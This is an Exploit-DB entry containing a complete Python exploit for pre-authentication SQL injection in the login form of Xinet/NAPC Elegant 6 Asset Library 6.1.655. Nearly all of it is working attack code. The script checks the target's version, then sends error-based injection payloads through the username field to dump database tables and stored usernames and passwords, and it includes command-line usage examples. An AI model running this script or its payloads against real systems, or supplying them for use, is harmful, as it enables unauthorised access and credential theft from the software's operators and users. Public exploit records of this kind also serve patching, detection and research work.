Exploit-DB #52192
Description: Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: hyp3rlinx

Exploit:
# Exploit Title: Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
# Exploit author: hyp3rlinx

import requests,time,re,sys,argparse

#NAPC Xinet Elegant 6 Asset Library v6.1.655
#Pre-Auth SQL Injection 0day Exploit
#By hyp3rlinx
#ApparitionSec
#UPDATED: Jan 2024 for python3
#TODO: add SSL support
#===============================
#This will dump tables, usernames and passwords in vulnerable versions
#REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0
#SQL INJECTION VULN PARAM --> LoginForm[username]
#================================================

IP=""
PORT="80"
URL=""
NUM_INJECTS=20
k=1
j=0
TABLES=False
CREDS=False
SHOW_SQL_ERROR=False


def vuln_ver_chk():
    global IP, PORT
    TARGET = "http://"+IP+":"+PORT+"/elegant6/login"
    response = requests.get(TARGET)
    if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content.decode()):
        print("[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655.")
        return True
    print("[!] Version not vulnerable :(")
    return False


def sql_inject_request(SQL):
    
    global IP, PORT
    URL = "http://"+IP+":"+PORT+"/elegant6/login"

    tmp=""
    headers = {'User-Agent': 'Mozilla/5.0'}
    payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL}
    session = requests.Session()
    
    res = session.post(URL,headers=headers,data=payload)
    idx = res.content.decode('utf-8').find('CDbCommand')  # Start of SQL Injection Error in response
    idx2 = res.content.decode('utf-8').find('key 1')      # End of SQL Injection Error in response

    return res.content[idx : idx2+3]



#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc
def inc():
    global k,j
    while j < NUM_INJECTS:
        j+=1
        if k !=1:
            k+=1
        return str(j)+','+str(k)


def tidy_up(results):
    global CREDS
    idx = results.find("'".encode())
    if idx != -1:
        idx2 = results.rfind("'".encode())
        if not CREDS:
            return results[idx + 1: idx2 -2]
        else:
            return results[idx + 2: idx2]



def breach(i):
    global k,j,NUM_INJECTS,SHOW_SQL_ERROR
    result=""
    
    #Dump Usernames & Passwords
    if CREDS:
        if i % 2 == 0:
            target='username'
        else:
            target='password'
            
        SQL=('"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))'
            'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -')

        if not SHOW_SQL_ERROR:
            result = tidy_up(sql_inject_request(SQL))
            if result:
                result = result.decode()
        else:
            result = sql_inject_request(SQL)+"\n"
            if result:
                result = result.decode()
        print("[+] Dumping "+str(target)+": "+str(result))
        
    #Dump Tables
    if TABLES:
        while j < NUM_INJECTS:
            nums = inc()
            SQL=('"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()'
                'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -')

            if not SHOW_SQL_ERROR:
                result = tidy_up(sql_inject_request(SQL))
            else:
                result = sql_inject_request(SQL) + "\n"
            if result:  
                print("[+] Dumping Table... " +str(result.decode()))
            time.sleep(0.3)
            
      

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--ip_address", help="<TARGET-IP>.")
    parser.add_argument("-p", "--port", help="Port, Default is 80")
    parser.add_argument("-t", "--get_tables", nargs="?", const="1", help="Dump Database Tables.")
    parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump Database Credentials.")
    parser.add_argument("-m", "--max_injects", nargs="?", const="1", help="Max SQL Injection Attempts, Default is 20.")
    parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1", help="Display SQL Errors, Default is Clean Dumps.")
    parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show script usage.")
    return parser.parse_args()



def usage():
    print("Dump first ten rows of usernames and passwords")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\n")
    print("\nDump first five rows of database tables and show SQL errors")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\n")
    print("NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP>  -p80 -t -c -m30\n")
    exit(0)


def main(args):
    
    global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR
    
    if args.ip_address:
        IP=args.ip_address
        
    if args.port:
        PORT=args.port

    if args.get_tables:
        TABLES=True

    if args.creds:
        CREDS=True

    if args.max_injects:
        NUM_INJECTS = int(args.max_injects)

    if args.show_sql_errors:
        SHOW_SQL_ERROR=True

    if args.examples:
        usage()

    if vuln_ver_chk():
        for i in range(0, NUM_INJECTS):
            breach(i)
            time.sleep(0.3)


if __name__=='__main__':

    parser = argparse.ArgumentParser()

    print("NAPC Elegant 6 Asset Library v6.1.655")
    print("Pre-Authorization SQL Injection 0day Exploit")
    print("Discovery / eXploit By hyp3rlinx")
    print("ApparitionSec\n")
    
    time.sleep(0.5)
    
    if len(sys.argv)== 1:
        parser.print_help(sys.stderr)
        sys.exit(0)
        
    main(parse_args())